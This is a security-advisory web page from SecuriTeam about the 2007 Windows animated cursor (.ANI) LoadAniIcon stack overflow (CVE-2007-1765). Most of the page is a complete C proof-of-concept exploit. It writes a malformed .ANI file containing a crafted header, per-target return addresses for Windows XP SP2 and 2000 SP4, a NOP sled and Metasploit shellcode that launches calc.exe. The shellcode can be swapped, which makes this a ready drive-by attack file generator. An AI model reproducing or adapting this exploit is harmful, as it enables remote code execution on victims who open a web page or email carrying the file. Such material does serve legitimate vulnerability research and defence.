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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	MS Windows Animated Cursor Stack Overflow (Exploit, .ANI) 1 Apr. 2007    Summary A vulnerability has been identified in Microsoft Windows, which could be exploited by remote attackers to take complete control of an affected system. This issue is due to a stack overflow error within the "LoadAniIcon()" [user32.dll] function when rendering cursors, animated cursors or icons with a malformed header, which could be exploited by remote attackers to execute arbitrary commands by tricking a user into visiting a malicious web page or viewing an email message containing a specially crafted ANI file. This exploit will create milicous .ANI file that will execute calc.exe application on the vulnerable machine.   Credit: The information has been provided by "dev code". Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Exploit: /* * Copyright (c) 2007 devcode * * * ^^ D E V C O D E ^^ * * Windows .ANI LoadAniIcon Stack Overflow * [CVE-2007-1765] * * * Description: * A vulnerability has been identified in Microsoft Windows, * which could be exploited by remote attackers to take complete * control of an affected system. This issue is due to a stack overflow * error within the "LoadAniIcon()" [user32.dll] function when rendering * cursors, animated cursors or icons with a malformed header, which could * be exploited by remote attackers to execute arbitrary commands by * tricking a user into visiting a malicious web page or viewing an email * message containing a specially crafted ANI file. * * Hotfix/Patch: * None as of this time. * * Vulnerable systems: * Microsoft Windows 2000 Service Pack 4 * Microsoft Windows XP Service Pack 2 * Microsoft Windows XP 64-Bit Edition version 2003 (Itanium) * Microsoft Windows XP Professional x64 Edition * Microsoft Windows Server 2003 * Microsoft Windows Server 2003 (Itanium) * Microsoft Windows Server 2003 Service Pack 1 * Microsoft Windows Server 2003 Service Pack 1 (Itanium) * Microsoft Windows Server 2003 x64 Edition * Microsoft Windows Vista * * Microsoft Internet Explorer 6 * Microsoft Internet Explorer 7 * * This is a PoC and was created for educational purposes only. The * author is not held responsible if this PoC does not work or is * used for any other purposes than the one stated above. * * Notes: * For this to work on XP SP2 on explorer.exe, DEP has to be turned * off. * */ #include <iostream> /* ANI Header */ unsigned char uszAniHeader[] = "\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68" "\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00" "\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02" "\x61\x6E\x69\x68\xA8\x03\x00\x00"; /* Shellcode - metasploit exec calc.exe ^^ */ unsigned char uszShellcode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42" "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a" "\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c" "\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57" "\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50" "\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d" "\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f" "\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a" "\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76" "\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65" "\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78" "\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f" "\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65" "\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d" "\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31" "\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69" "\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61" "\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70" "\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42"; char szIntro[] = "\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n" "\t\t\tdevcode (c) 2007\n" "[+] Targets:\n" "\tWindows XP SP2 [0]\n" "\tWindows 2K SP4 [1]\n\n" "Usage: ani.exe <target> <file>"; typedef struct {         const char *szTarget;         unsigned char uszRet[5]; } TARGET; TARGET targets[] = {         { "Windows XP SP2", "\xC9\x29\xD4\x77" }, /* call esp */         { "Windows 2K SP4", "\x29\x4C\xE1\x77" } }; int main( int argc, char **argv ) {         char szBuffer[1024];         FILE *f;         if ( argc < 3 ) {                 printf("%s\n", szIntro );                 return 0;         }         printf("[+] Creating ANI header...\n");         memset( szBuffer, 0x90, sizeof( szBuffer ) );         memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );         printf("[+] Copying shellcode...\n");         memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );         memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 );         printf("%s\n", argv[2] );         f = fopen( argv[2], "wb" );         if ( f == NULL ) {                 printf("[-] Cannot create file\n");                 return 0;         }         fwrite( szBuffer, 1, 1024, f );         fclose( f );         printf("[+] .ANI file succesfully created!\n");         return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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